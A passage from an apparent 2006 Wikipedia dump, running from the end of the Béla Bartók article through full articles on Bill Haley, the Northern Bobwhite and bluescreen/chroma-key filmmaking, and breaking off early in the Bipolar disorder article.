Bartók divorced Márta in [[1923]], and married a piano student, [[Ditta Pásztory]]. His second son, Péter, was born in [[1924]]. For Péter's music lessons Bartók began composing a six-volume collection of graded piano pieces, ''[[Mikrokosmos]]'', which is popular with piano students today.

==World War II and later career==

In [[1940]], after the outbreak of [[World War II]], and the European political situation worsened, Bartók was increasingly tempted to flee Hungary. 

Bartók was strongly opposed to the Nazis. After they came into power in Germany, he refused to concertize there and switched away from his German publisher. His liberal views (as evident in the opera ''[[Bluebeard's Castle]]'' and the ballet ''The Miraculous Mandarin'') caused him a great deal of trouble from right-wingers in Hungary.

Having first sent his manuscripts out of the country, Bartók reluctantly moved to the [[United States|USA]] with Ditta Pásztory. Péter Bartók joined them in [[1942]] and later enlisted in the [[United States Navy]]. Béla Bartók, Jr. remained in Hungary. 

Bartók did not feel comfortable in the USA, and found it very difficult to write. As well, he was not very well known in America and there was little interest in his music. He and his wife Ditta would give concerts; and for a while, they had a research grant to work on a collection of [[Yugoslavia|Yugoslav]] folk songs, but their finances were precarious, as was Bartók's health.

His last work might well have been the String Quartet No. 6, were it not for [[Fritz Reiner]] and [[Serge Koussevitsky]] commissioning him to write the [[Concerto for Orchestra (Bartók)|Concerto for Orchestra]], which  became Bartók's most popular work and  which was to ease his financial burdens. He was also commissioned by [[Yehudi Menuhin]] to write [[Sonata for Solo Violin]]. This seemed to reawaken his interest in composing, and he went on to write his [[Piano Concerto No. 3 (Bartók)|Piano Concerto No. 3]], an airy and almost neo-classical work, and begin work on his [[Viola Concerto (Bartók)|Viola Concerto]].

Béla Bartók died in [[New York City]] from [[leukemia]] in September, 1945. He left the viola concerto unfinished at his death; it was later completed by his pupil, [[Tibor Serly]].

He was interred in the [[Ferncliff Cemetery]] in [[Hartsdale, New York]], but after the fall of Hungarian [[communism]] in [[1988]], his remains were transferred to [[Budapest, Hungary]] for a [[state funeral]] on [[July 7]], [[1988]] with interment in Budapest's Farkasreti Cemetery.

There is a statue of Béla Bartók in [[Brussels]], [[Belgium]] near the central train station in a public square. The statue stands with its back to a large cathedral looking towards the ground. Directly opposite the statue of Béla Bartók in the same square, on a large elevated platform is a statue of [[Don Quixote]] and [[Sancho Panza]] facing the cathedral
.

==Music==
Paul Wilson lists as the most prominent characteristics of Bartók's music the influence of the folk music of rural Hungary and eastern Europe and the art music of central and western Europe, and his changing attitude toward (and use of) tonality, but without the use of the traditional [[Diatonic functionality|harmonic functions]] associated with major and minor scales (Wilson 1992, p.2-4).

Bartók is an influential [[Modernism (music)|modernist]] (though see [[Béla Bartók#Reception|Reception]] below) and his music used or may be analysed as containing various modernist techniques such as [[atonality]], [[bitonality]], attenuated harmonic function, [[polymodal chromaticism]], [[projected set]]s, [[privileged pattern]]s, and large set types used as source sets such as the equal tempered twelve tone aggregate, [[octatonic scale]] (and [[alpha chord]]), the diatonic and heptatonia seconda seven-note scales, and less often the whole tone scale and the primary pentatonic collection (ibid, p.24-29).

He rarely used the aggregate to actively shape musical structure though there are notable examples such as the second theme from the first movement of his ''Second Violin Concerto'', commenting that he &quot;wanted to show Schoenberg that one can use all twelve tones and still remain tonal&quot;. More thoroughly in the first eight measures of the last movement of his ''Second Quartet'' all notes gradually gather with the twelfth (Gb) sounding for the first time on the last beat of measure 8, marking the end of the first section. The aggregate is partitioned in the opening of the ''Third String Quartet'' with C#-D-D#-E in the accompaniment (strings) while the remaining pitch classes are used in the melody (violin 1) and more often as 7-35 (diatonic or &quot;white-key&quot; collection) and 5-35 (pentatonic or &quot;black-key&quot; collection) such as in no. 6 of the ''Eight Improvisations''. There, the primary theme is on the black keys in the left hand, while the right accompanies with triads from the white keys. In measures 50-51 in the third movement of the ''Fourth Quartet'', the first violin and 'cello play black-key chords, while the second violin and viola play stepwise diatonic lines (ibid, p.25).

[[Ernő Lendvai]] (1971) analyses Bartók's works as being based on two opposing systems, that of the [[golden section]] and the [[acoustic scale]], and tonally on the [[axis system]] (ibid, p.7).

===Reception===
Some of Bartók's works have been criticized for their use of tonality and nontonal methods unique to each piece; [[Milton Babbitt]], for example, praises the &quot;identification of the personal exigency with the fundamental musical exigency of the epoch&quot; yet concludes that &quot;Bartók's solution was a specific one, it cannot be duplicated.&quot;  The problem is Bartók's praised use of &quot;two organizational principles&quot; - tonality for large scale relationships and the piece-specific method for moment to moment thematic elements - worrying that the &quot;highly attenuated tonality&quot; requires extreme non-harmonic methods to create a feeling of closure.  Presumably he preferred [[Arnold Schoenberg]]'s completely non-tonal non-piece specific method of [[twelve tone music]]. (Maus 2004, p.164)

==Selected works==

Works are catalogued with the designation Sz (Szöllösy).

===Orchestral music===
*[[Piano Concerto No. 1 (Bartók)|Piano Concerto No. 1]]
*[[Piano Concerto No. 2 (Bartók)|Piano Concerto No. 2]]
*[[Piano Concerto No. 3 (Bartók)|Piano Concerto No. 3]]
*[[Violin Concerto No. 1 (Bartók)|Violin Concerto No. 1]]
*[[Violin Concerto No. 2 (Bartók)|Violin Concerto No. 2]]
*Dance Suite (1923)
*[[Music for Strings, Percussion and Celesta]] (1937)
*[[Concerto for Orchestra (Bartók)|Concerto for Orchestra]] ([[1942]]&amp;ndash;[[1943|43]], revised [[1945]])
*[[Viola Concerto (Bartók)|Viola Concerto]] ([[1945]])
*''Rhapsody no.1 for violin'' ([[19?]])
*''Rhapsody no.2 for violin'' ([[19?]])

===Choral music===
* ''Cantata Profana'' ([[1930]])
* ''From Olden Times'' ([[1935]])

===Chamber music===
*[[Sonata for two pianos and percussion]]
*[[List of string quartets by Béla Bartók|String Quartets]] Nos. 1-6
*Violin Sonata Nos. 1-3
*''Divertimento'' ([[1939]])

===Piano===
*''Allegro barbaro'' ([[1911]])
*''Elegy Op.7a,7b'' ([[191?]])
*''Bagatellen'' ([[1911]])
*[[Sonatina (Bartók)|Sonatina]] ([[1915]])
*''Romanian Folk Dances'' ([[1915]]) Also played on violin
*''Suite Op.14'' ([[1916]])
*Improvisations Op.20 ([[1920]])
*Sonata ([[1926]])
*''Im Freien'' ([[1926]])
*''[[Mikrokosmos]]'' ([[1926]], [[1932]]&amp;ndash;[[1939|39]])

===Music for the stage===
* ''[[Bluebeard's Castle]]'', [[opera]]
* ''The Miraculous Mandarin'', pantomime
* ''The Wooden Prince'', [[ballet (music)|ballet]]

===See also===
* [[:Category:Compositions by Béla Bartók]]

==Sources==
*Maus, Fred (2004). &quot;Sexual and Musical Categories&quot;, ''The Pleasure of Modernist Music''. ISBN 1580461433.
*Wilson, Paul (1992). ''The Music of Béla Bartók''. ISBN 0300051115.

==References==
*Antokoletz, Elliott (1984). ''The Music of Béla Bartók: A Study of Tonality and Progression in Twentieth-Century Music''. Berkeley and Los Angeles: University of California Press.
*Kárpáti, János (1975). ''Bartók's String Quartets''. Translated by Fred MacNicol. Budapest: Corvina Press.
*Lendvai, Ernő (1971). ''Béla Bartók: An Analysis of His Music''. London: Kahn and Averill.

==External links==
{{wikiquote}}
* [http://www.bartokmuseum.hu/ Bartók Béla Memorial House, Budapest]
* [http://www.cc.jyu.fi/~tojan/bartok/bbworks.htm A chronological list of Bartók's compositions]
*[http://www.lunanova.org/podcasts/Contrasts1.mp3 Recording] Contrasts: Verbunkos - Helen Kim, violin; Ted Gurch, clarinet; Adam Bowles, piano [http://www.lunanova.org/ Luna Nova New Music Ensemble]
*[http://www.lunanova.org/podcasts/Contrasts2.mp3 Recording] Contrasts: Pinheno - Helen Kim, violin; Ted Gurch, clarinet; Adam Bowles, piano [http://www.lunanova.org/ Luna Nova New Music Ensemble]
*[http://www.lunanova.org/podcasts/Contrasts3.mp3 Recording] Contrasts: Sebes - Helen Kim, violin; Ted Gurch, clarinet; Adam Bowles, piano [http://www.lunanova.org/ Luna Nova New Music Ensemble]

[[Category:Hungarian composers|Bartók, Béla]]
[[Category:20th century classical composers|Bartók, Béla]]
[[Category:Hungarian classical pianists|Bartók, Béla]]
[[Category:Ethnomusicologists|Bartók, Béla]]
[[Category:Folk-song collectors|Bartók, Béla]]
[[Category:Modernism|Bartók]]
[[Category:Modernist composers|Bartók, Béla]]
[[Category:Opera composers|Bartók, Béla]]
[[Category:Song collectors|Bartók, Béla]]
[[Category:1881 births|Bartók, Béla]]
[[Category:1945 deaths|Bartók, Béla]]

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  </page>
  <page>
    <title>Bill Haley</title>
    <id>4528</id>
    <revision>
      <id>41943118</id>
      <timestamp>2006-03-02T20:07:12Z</timestamp>
      <contributor>
        <username>23skidoo</username>
        <id>99351</id>
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      <minor />
      <comment>/* Early life and career */ correct song title</comment>
      <text xml:space="preserve">[[Image:BillHaley1957.JPG|right|thumb|240px|Bill Haley, with his band, the Comets, was one of the first rock and roll acts to tour the United Kingdom. This magazine cover dates back to that first tour in 1957.]]

'''Bill Haley''' ([[July 6]], [[1925]] – [[February 9]], [[1981]]) was one of the first [[United States|American]] [[rock and roll]] musicians, and is credited by many with first popularizing this form of music in the mid-[[1950s]] with his group [[Bill Haley &amp; His Comets]] and their hit song &quot;[[Rock Around the Clock]]&quot;.

==Early life and career==

Haley was born '''William John Clifton Haley''' (some sources append &quot;Junior&quot; to his name, but his eldest son states that this is erroneous) in [[Highland Park, Michigan]] and raised in [[Pennsylvania]].  Many sources (almost universally predating his death in 1981) state that Haley was born in [[1927]], which is due to Haley knocking two years off his age for publicity purposes in the 1950s. A few recent sources erroneously give a birth year of [[1924]].

In [[1946]], Haley joined his first professional group, a Pennsylvania-based [[western swing]] band called The [[Down Homers]] run by [[Shorty Cook]], after which he set out on his own. He made a number of regionally successful country music [[Single (music)|single]]s in the [[1940s]] for several local labels, including [[Cowboy Records]] [[1948]]-[[1949]] while working as a touring musician and later a radio [[DJ]] at [[WPWA]]. (Many of Haley's early recordings would not be released until after his death.) In 1948, he formed his own group, '''The Four Aces of Western Swing''', later followed by '''The Saddlemen''' in either 1949 or 1950 (sources vary as to the exact year). In [[1951]], Haley began to change musical styles, recording [[cover version]]s of &quot;[[Rocket &quot;88&quot;]]&quot; (previously recorded by [[Jackie Brenston and His Delta Cats]]), and in, 1952, &quot;Rock the Joint&quot;, previously recorded by several bands including [[Jimmy Preston and His Prestonians]]. The relative success of these recordings (both sold in the 75,000-100,000 copy range in the Pennsylvania-[[New England]] region) convinced Haley that his new and as-yet officially unnamed hybrid of country and [[rhythm and blues]] could be a commercial success.

==Bill Haley &amp; His Comets==

:''Main article: [[Bill Haley &amp; His Comets]]''

During the [[Labor Day]] weekend in 1952, The Saddlemen were renamed '''Bill Haley with Haley's Comets''' (inspired by a popular mispronunciation of [[Halley's Comet]]), and in [[1953]], Haley's recording of &quot;Crazy Man, Crazy&quot; (co-written by Haley and his bass player, [[Marshall Lytle]] although Lytle wouldn't receive credit until 2001) became the first rock and roll song to hit the American charts. Soon after, the band's name was revised to '''Bill Haley &amp; His Comets.'''

In 1953, a song entitled &quot;[[Rock Around the Clock]]&quot; was written for Haley, but he was unable to record it until [[April 12]], [[1954]]. Initially, it was relatively unsuccessful, but Haley soon scored a major worldwide hit with a cover version of [[Big Joe Turner]]'s &quot;[[Shake, Rattle and Roll]],&quot; which went on to sell a million copies and became the first ever rock'n'roll song to enter [[United Kingdom|British]] singles charts in December 1954. Haley and his band were important in launching the music known as &quot;Rock and Roll&quot; to a wider (white) audience after years of it being considered an underground movement.  When &quot;Rock Around the Clock&quot; appeared behind the opening credits of the [[1955]] film ''[[The Blackboard Jungle]]'' starring [[Glenn Ford]], it soared to the top of the American ''[[Billboard magazine|Billboard]]'' charts for eight weeks, launching a musical revolution that opened the doors for the likes of [[Elvis Presley]]. 

&quot;Rock Around the Clock&quot; was the first record ever to sell over one million copies in both Britain and Germany and, in 1957, Haley became the first major American rock singer to tour [[Europe]]. Haley continued to score hits throughout the 1950s such as &quot;[[See You Later, Alligator]]&quot; and he starred in the first rock and roll musical movies ''[[Rock Around the Clock (film)|Rock Around the Clock]]'' and ''[[Don't Knock the Rock]]'', both in [[1956]]. His star was soon surpassed in the USA by the younger, sexier Elvis, but Haley continued to be a major star in [[Latin America]], [[Mexico]], and in Europe throughout the [[1960s]]. 

A self-admitted [[alcoholism|alcoholic]] (as indicated in a 1974 radio interview for the [[British Broadcasting Corporation]]), Haley fought a battle with liquor well into the 1970s. Nonetheless, he and his band continued to be a popular touring act, enjoying a career resurgence in the late 1960s with the [[Rock and Roll Revival]] movement and the signing of a lucrative record deal with the European [[Sonet Records]] label. After performing for [[Queen Elizabeth II]] at a command performance in 1979, Haley made his final performances in [[South Africa]] in May and June of [[1980]]. Prior to the South African tour, he was diagnosed with a [[brain tumor]], and a planned tour of Germany in the fall of 1980 was cancelled. Despite his ill health, Haley began compiling notes for possible use as a basis for either a biographical film based on his life, or a published autobiography (accounts differ), and there were plans for him to record an album in [[Memphis, Tennessee]], when the brain tumor began affecting his behavior and he retired to his home in [[Harlingen, Texas]] where he died early on the morning February 9, 1981. 
 
The exact cause of his death is controversial. Media reports, supported by Haley's death certificate (reproduced in the book ''Bill Haley: The Daddy of Rock and Roll'' by [[John Swenson]]), suggest he died of &quot;natural causes most likely [[heart attack]]&quot;. Members of Haley's family, however, contest that he died from the brain tumor.

Haley was posthumously inducted into the [[Rock and Roll Hall of Fame]] in [[1987]].

Haley's original Comets from 1954 and 1955 still tour the world to packed houses. Despite ranging in age from 72 to 84, the band shows no sign of slowing down, releasing a concert [[DVD]] in 2004 and playing the trendy [[Viper Room]] in [[West Hollywood]] in 2005.

==Asteroid== 
:''Main article - [[79896 Billhaley]]''

In [[February]] [[2006]], the [[International Astronomical Union]] announced the naming of [[asteroid]] [[79896 Billhaley]] to mark the 25th anniversary of Bill Haley's death.

==Chart positions (US and UK)==  
* Billboard or Cash Box charts:  
* &quot;Crazy Man, Crazy&quot; - # 15, late 1953  
* &quot;[[Rock Around the Clock|(We're Gonna) Rock Around the Clock]]&quot; –  # 1 US, 06/1955; # 1 (8 weeks), UK, 10/1955; UK recharts # 5 09/1956; # 24, 12/1956; #25 01/1957; #20 04/1968; #34 05/1968; #12 UK then #39 US, 04/1974
* &quot;[[Shake, Rattle and Roll]]&quot; – # 7 [04/54]; # 4 UK, 12/1954   
* &quot;Dim, Dim the Lights (I Want Some Atmosphere)&quot; - # 11, 01/1955 
* &quot;Birth of the Boogie&quot; – #17, 04/1955
* &quot;Mambo Rock&quot; – (flipside of &quot;Birth Of The Boogie&quot;) # 17; # 14 UK, 04/1955
* &quot;Two Hound Dogs&quot; – # 9 (09/1955) 
* &quot;Razzle-Dazzle&quot; - (A-side of &quot;Two Hound Dogs&quot;) # 15, 09/1955; # 13 UK, 09/1956
* &quot;Burn That Candle&quot; - # 9, 11/1955  
* &quot;Rock-a-Beatin' Boogie&quot; – (A-side) of &quot;Burn That Candle&quot;) #23, # 4 RU, 01/1956  
* &quot;The Saints Rock 'n' Roll&quot; - # 18, 04/1956 # 5 UK, 05/56
* &quot;R-O-C-K&quot; - (A-side of &quot;The Saints Rock and Roll&quot;) # 29, 04/1956
* &quot;Hot Dog Buddy Buddy&quot; - # 78) - # 60, 06/1956
* &quot;Rockin' Thru the Rye&quot; - (flipside of &quot;Hot Dog Buddy Buddy&quot;) # 3, UK, 08/1956; # 19 (UK), 01/1957
* &quot;[[See You Later, Alligator]]&quot; – # 6, 02/1956; # 7 UK, 03/1956; # 12 UK, 09/1956 (new entry)  
* &quot;Rip it Up&quot; – # 25, 08/1956; # 4 UK, 11/1956 
* &quot;Teenager's Mother (Are You Right?)&quot; - (flipside of &quot;Rip it Up&quot;) - # 68, 08/1956
* &quot;Rudy's Rock&quot; - # 34; # 30 (UK), 11/1956; re-charts # 26 (UK), 12/1956  
* &quot;Don't Knock the Rock&quot; - # 45, 12/1956; # 7, UK, 02/1957
* &quot;Rock the Joint&quot; (1952 recording) - # 20 UK, 02/1957
* &quot;Forty Cups of Coffee&quot;/&quot;Hook, Line and Sinker&quot; - # 70, 04/1957
* &quot;(You Hit the Wrong Note) Billy Goat&quot; - # 60, 06/1957
* &quot;Skinny Minnie&quot; - # 22, 05/1958
* &quot;Lean Jean&quot; - # 67, 08/1958
* &quot;Joey's Song&quot; - # 46, 11/1959
* &quot;[[Skokiaan|Skokiaan (South African Song)]]&quot; - # 70, 1960 
* &quot;Haley's Golden Medley&quot; - (posthumous edit of &quot;Rock Around the Clock&quot;, &quot;See You Later Alligator&quot;, &quot;Shake, Rattle and Roll&quot; and others) # 50, UK, 04/1981

In addition, Haley and the Comets also scored chart hits in Latin America during the period 1961-1966 with recordings such as &quot;Twist Espanol&quot;, &quot;Florida Twist&quot;  and &quot;Land of 1000 Dances&quot;.

==Biographies==

* In 1980, Haley began work on an autobiography entitled ''The Life and Times of Bill Haley'' but died after completing only 100 pages. The work is registered with the [[U.S. Copyright Office]] but has yet to be released to the public.

* In 1982, [[John Swenson]] wrote ''Bill Haley: The Daddy of Rock and Roll'' (published in the [[UK]] under the title, ''Bill Haley''), which is controversial among Haley fans for alleged inaccuracies.

* In 1990, Haley's eldest son, [[John W. Haley]], along with [[John von Hoelle]] wrote ''Sound and Glory'', a biography focusing mostly on Haley's early life and peak career years. This book is long out of print.

* A [[German language|German]]-language biography was published soon after Haley's death, written by [[Peter Cornelsen]] and [[Harald D. Kain]].

* A book on the history of Haley's most famous recording, ''Rock Around the Clock: The Record That Started the Rock Revolution'' by [[Jim Dawson]] was published in June 2005. [http://www.rockabillyhall.com/Extra.html#clockbook]

==Film portrayals==

Unlike his contemporaries, Bill Haley has rarely been portrayed on screen. Following the success of ''[[The Buddy Holly Story]]'' in [[1978]], Haley expressed interest in having his life story committed to film, but this never came to fruition. In the 1980s and early [[1990s]], numerous media reports emerged that plans were underway to do a bio-pic based upon Haley's life, with [[Beau Bridges]], [[Jeff Bridges]] and [[John Ritter]] all at one point being mentioned as actors in line to play Haley (according to ''[[Goldmine Magazine]]'', Ritter attempted to buy the film rights to ''Sound and Glory'').  

Bill Haley has also been portrayed - not always in a positive light - in several &quot;period&quot; films:

* [[John Paramor]] in ''[[Shout! The Story of Johnny O'Keefe]]'' (1985)
* [[Michael Daingerfield]] in ''[[Mr. Rock 'n' Roll: The Alan Freed Story]]'' (1999)
* [[Dicky Barrett]] (of [[The Mighty Mighty Bosstones]] in ''[[Shake, Rattle and Roll: An American Love Story]]'' (also 1999)

In March 2005, the [[United Kingdom|British]] network [[Sky TV]] [http://www.sky.com/showbiz/picture_gallery/0,,50004-1175946-2,00.html reported] that [[Tom Hanks]] is planning to produce a biopic on the life of Bill Haley, with production tentatively scheduled to begin in [[2006]]. However this rumor was quickly debunked by Hanks.

==Children==
Married three times, Bill Haley had at least eight children. [[John W. Haley]], his eldest son, wrote ''Sound and Glory'', a biography of Haley, while his youngest daughter, [[Gina Haley]], is an up-and-coming musician based out of [[Los Angeles]]. [[Scott Haley]] is a noted athlete, while Bill's youngest son, [[Pedro Haley]], is also a musician-in-the-making.

==See also==
*[[List of best-selling music artists]]

==External links==
* [http://www.billhaleycentral.com Portal site providing links to all the major Bill Haley-related websites on the Net]

[[Category:1925 births|Haley, Bill]]
[[Category:1981 deaths|Haley, Bill]]
[[Category:American rock musicians|Haley, Bill]]
[[Category:American rock singers|Haley, Bill]]
[[Category:Guitarists|Haley, Bill]]
[[Category:Hollywood Walk of Fame|Haley, Bill]]
[[Category:People from Michigan|Haley, Bill]]
[[Category:Radio DJs|Haley, Bill]]
[[Category:Rock and Roll Hall of Fame inductees|Haley, Bill]]
[[Category:Entertainers who died in their 50s|Haley, Bill]]

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{{Persondata
|NAME= Haley, William John Clifton
|ALTERNATIVE NAMES= Haley, Bill; Clifton, Johnny; Gregory, Scott; Haley, Jack
|SHORT DESCRIPTION= Rock and roll music pioneer
|DATE OF BIRTH= 6 July 1925
|PLACE OF BIRTH= [[Highland Park, Michigan]]
|DATE OF DEATH= 9 February 1981
|PLACE OF DEATH= [[Harlingen, Texas]]
}}</text>
    </revision>
  </page>
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    <id>4529</id>
    <revision>
      <id>41958271</id>
      <timestamp>2006-03-02T21:58:02Z</timestamp>
      <contributor>
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| species = '''''C. virginianus'''''
| binomial = ''Colinus virginianus''
| binomial_authority = ([[Carolus Linnaeus|Linnaeus]], [[1758]])
}}

The '''Bobwhite Quail''' or '''Northern Bobwhite''', ''Colinus virginianus'', is a ground-dwelling [[bird]] native to [[North America]]. The name derives from their characteristic call. 

The Bobwhite Quail is a member of the group of species known as [[New World quail]]. It is a popular [[gamebird]], particularly in the [[US Southern States]], forming what are known as &quot;coveys&quot;, groups of five to 30 birds, during the non-breeding season (roughly October-April).  Quail primarily inhabit areas of early successional growth dominated by various species of [[pine tree|pine]], [[hardwood]], woody, and [[herb|herbaceous]] growth. However, quail [[Habitat (ecology)|habitat]] varies greatly throughout their range which extends from [[Mexico]] east to [[Florida]] and north into the [[Upper Midwest]] and Northeast.

Bobwhites are distinguished by a black cap and black stripe behind the eye along the head. The area in between is white on males and yellow-brown on females. The body is brown, speckled in places with black or white on both sexes, and average weight is five to six ounces (145-200 grams).

During the breeding season, typically beginning in mid-April, bobwhite coveys dissolve. Social pairs are typically formed between individuals of unknown relationship. These social pairings potentially result in the formation of a mate bond and subsequent female fertilization and [[egg (biology)|egg]] formation. Eggs are laid at a rate of approximately 1 per day, and they hatch after 23 days. Eggs are normally white in color with a more pointed end than normal [[chicken]] eggs. 

Both males and females can incubate nests, with most nests predominantly incubated by females. If the first clutch of eggs is unsuccessful, a breeding pair (may be the same pair or a different pair as that which led to the previous nesting attempt) will attempt to lay, incubate, and hatch additional clutches. If the clutch is successful, chicks are [[precocial]] and will leave the nest approximately 24 hours following hatching. The breeding season continues until mid-October, and successful nesters (females) can potentially lay, incubate, and hatch up to 3 clutches.

Bobwhites were previously classed with the Old World quails in the pheasant family [[Phasianidae]], but are not particularly closely related. They and the other New World quails are now given their own family, [[Odontophoridae]].

The bobwhite's song is a rising, clear whistle, ''bob-Wight!'' or ''bob-bob-White!'' The call is most often given by males in spring and summertime.

==External links==

*[http://www.itis.usda.gov/servlet/SingleRpt/SingleRpt?search_topic=TSN&amp;search_value=175863 ITIS Standard Report Page: Colinus virginianus taxonomic details (includes subspecies) ]
*[http://www.fcps.k12.va.us/StratfordLandingES/Ecology/mpages/northern_bobwhite.htm Northern Bobwhite] Additional information, pictures, sound and video clips

[[Category:Odontophoridae]]
[[fr:Colin de Virginie]]</text>
    </revision>
  </page>
  <page>
    <title>Bluescreen</title>
    <id>4530</id>
    <revision>
      <id>41907269</id>
      <timestamp>2006-03-02T15:03:24Z</timestamp>
      <contributor>
        <ip>216.174.135.218</ip>
      </contributor>
      <comment>/* Chroma key */</comment>
      <text xml:space="preserve">:''For the Windows error message, see [[Blue Screen of Death]].''

[[Image:Bluebox in Heureka 01.jpg|thumb|200px|The bluescreen setup]]
[[Image:Bluebox in Heureka 02.jpg|thumb|200px|The final image]]
'''Bluescreen''' (known in television as '''Chroma Key''') is a term for the filmmaking technique of shooting foreground action against an evenly-lit monochomatic background for the purpose of removing the background from the scene and replacing it with a different image or scene. The term also refers to the  visual effect resulting from this technique as well as the colored screen itself (although it is often not blue; for example, with '''greenscreen'''). 

==Travelling matte==

Prior to the [[CGI]] revolution, bluescreen was a complex, time consuming process called '''travelling matte'''. The background footage was shot first and the actor or model was filmed against a bluescreen carrying out their actions. To simply place the foreground shot over the background shot would create a ghostly image over a blue-tinged background. The actor or model must be seperated from the background and placed into a specially-made “hole” in the background footage. 

The bluescreen shot was first rephotographed through a blue filter so that only the background is exposed. A special film is used that creates a black and white negative image - a black background with a man/spaceship shaped hole in the middle. This is called a '''female matte'''. 

The bluescreen shot was then rephotographed, this time through a red and green filter so that only the foreground image was cast on film, creating a black sillohuette on an unexposed (clear) background. This is called a '''male matte'''. 

The background image is then rephotographed through the male matte, and the bluescreen shot rephotographed through the female matte. An [[optical printer]] with two projectors, a film camera and a “beam splitter” combines the images together one frame at a time. This part of the process must be very carefully controlled to ensure the absence of “black lines”. During the 1980s, minicomputers were used to control the optical printer. For [[The Empire Strikes Back]], [[Richard Edlund]] created a '''quad optical printer''' that sped up the process considerably, and thus saved the production money. He received a special [[Academy Award]] for his innovation.

[[Petro Vlahos]] was awarded an [[Academy Award]] for his development of bluescreen techniques. His technique exploits the fact that most objects in real-world scenes have a colour whose blue colour component is similar in intensity to their green colour component. [[Zbig Rybczynski]] also contributed to bluescreen technology.

==Chroma key==

The key background color in the video signal is [[Signal processing|processed]] out and overlayed with content from a different video signal -- such as from a separate camera, a recorded video playback, or a digital source -- a process called &quot;[[compositing]]&quot;. Both [[digital image editing|digital]] and analog techniques exist for doing this. The image replacement may be done in [[film production|production]] or in [[post-production]].

A classic example of the technique is the television news weatherman who on-screen appears to point at a map, but is in fact being recorded standing in front of a blank screen. On either sides of this screen are smaller televisions projecting a front view of the weathercaster, so they know where and when to place their hands.  These early television effects were originally accomplished by a technique called [[chroma keying]], but older analog methods have been increasingly supplanted by modern [[digital compositing]] techniques.

Sometimes a television presenter's clothing will happen to have a region, such as a logo or other decoration, whose color is close enough to the chroma key being used that it gets included in the mask and the background shows through.  If the production staff fail to notice this before the program goes on the air, it will then look to viewers as though there is a small hole in the body of the presenter through which the background is visible.

Towards the end of 2004, [[Drew Carey]] hosted the TV show ''[[Drew Carey's Green Screen Show]]'', where comedians act against a greenscreen background with live audience interaction. After post-production, viewers watching the show would see animation interlaced with the live acting.

==Other colours==

Yellow screens were used in the Sodium Vapour Process developed by [[Walt Disney Pictures|Disney]] for the film [[Song of the South]].

There are some modern screens that at first sight appear grey, but are in fact coated with tiny half-silvered glass beads to give a significant degree of [[Retroreflector|retroreflectivity]].  A ring of coloured lights (usually [[LED]]s) is placed around the camera lens, and the screen reflects this colour back to the camera.  This technique reduces problems from performers casting shadows on the screen, and allows operation at low lighting levels.  As the screen colour is defined by the colour of the ring light, it is easier to change the screen colour quickly, and to use a colour with a narrow range, making it easier to distinguish between the colour of the screen and colours on the subject. 

Other colours are sometimes used instead of blue, including green ([[The Matrix]]), orange ([[Apollo 13 (movie)|Apollo 13]]) and red ([[Air Force One (movie)|Air Force One]]). The choice of colour depends on the subject and specific technique used. Blue is normally used for people because human skin has very little blue colour to it. The same is also true for green, so the director can choose which colour to use depending on makeup and costume. Orange screens are often used with model photography where the model contains both blue and green components.[[Image:MuseumOfScienceBoston_BlueScreenAtSpecialEffectsShow.jpg|right|thumb|300px| Demonstration of bluescreen at the Special Effects show, [[Museum of Science, Boston]]]]

==Bluescreen in the digital age==

Some films make heavy use of bluescreen and add backgrounds which are constructed entirely using [[computer-generated imaging]](CGI). In the early 2000s several movies were made using this technique, including ''[[Immortel: Ad Vitam]]'', ''[[Sky Captain and the World of Tomorrow]]'', ''[[Casshern]]'', ''[[Star Wars Episode III: Revenge of the Sith|Star Wars Episode III]]'' and ''[[Sin City (film)|Sin City]]''. Performances from different takes can even be composited together which allows actors to be filmed separately and then placed together in the same scene.

In the past decade, the use of green has become dominant in film special effects. The main reason for this is that green has a higher luminance value than blue, making it somewhat easier to work with. But the choice of color is up to the effects artists and the needs of the specific shot.

==See also==

*[[Film production]]
*[[Optical printer]]
*[[Matte (filmmaking)]]
*[[Rear projection effect]]
*[[Front projection effect]]
*[[Sodium vapor process]]
*[[Reverse bluescreen]]
*[[Video]]
*[[Signal processing]]
*''[[Drew Carey's Green Screen Show]]''

==External links==
* [http://www.seanet.com/~bradford/bluscrn.html The Blue Screen / Chromakey Page]
* [http://www.bluescreen.com/ Bluescreen LLC]
* [http://entertainment.howstuffworks.com/blue-screen.htm How Blue Screens Work]
* [http://www.ultimatte.com/ Ultimatte Corporation]
* [http://www.reflecmedia.com/default.aspx/ Reflecmedia Front Projection Blue or Green matting system.]

[[Category:Special effects]]
[[Category:Video and movie technology]]

[[da:Bluescreen]]
[[de:Bluescreen-Technik]]
[[is:Blátjald]]
[[ja:ブルーバック]]
[[no:Bluescreen]]</text>
    </revision>
  </page>
  <page>
    <title>Bipolar disorder</title>
    <id>4531</id>
    <revision>
      <id>42069341</id>
      <timestamp>2006-03-03T16:34:49Z</timestamp>
      <contributor>
        <username>Barrylb</username>
        <id>165846</id>
      </contributor>
      <comment>/* External links */ improve description</comment>
      <text xml:space="preserve">{{DiseaseDisorder infobox |
  Name  = Bipolar affective disorder |
  ICD10 = F31 |
  ICD9  = {{ICD9|296}} |
}}
'''Bipolar disorder''', often referred to colloquially as '''manic depression''', is a [[diagnosis]] describing low ([[Clinical depression|clinically depressed]]) and high ([[manic]] or [[hypomania|hypomanic]]) mood swings significantly broad enough to interfere with an individual's ability to function on a daily basis.  Such mood problems are thought to affect millions of people.

Bipolar disorder typically develops in late adolescence and early adulthood, but some people can develop symptoms as children (a condition referred to clinically as &quot;pediatric bi-polar&quot;) or later in life. The problems are often not recognized by mental health professionals and people may suffer for years before detection and help are achieved. Bipolar Disorder can be a long-term problem that must be carefully managed throughout a person's life. People may fall at different points on a Bipolar Spectrum, however, and some may find that they only experience mood problems of a disabling nature during particular life circumstances.  

The following is a quote from a sufferer of Bipolar Disorder (selected by the US biomedical organisation National Institute for Mental Health):

&quot;Manic-depression distorts moods and thoughts, incites dreadful behaviors, destroys the basis of rational thought, and too often erodes the desire and will to live. It is an illness that is biological in its origins, yet one that feels psychological in the experience of it; an illness that is unique in conferring advantage and pleasure, yet one that brings in its wake almost unendurable suffering and, not infrequently, suicide.
&quot;I am fortunate that I have not died from my illness, fortunate in having received the best medical care available, and fortunate of having the friends, colleagues, and family that I do.&quot;{{Ref|quote}}

[[Emil Kraepelin]] (1856-1926), a German psychiatrist who first proposed the existence of an illness he coined &quot;manic depression&quot;, noted in his original description that intervals of acute illness, manic or depressive, were generally punctuated by relatively symptom-free intervals in which a patient was able to function normally.

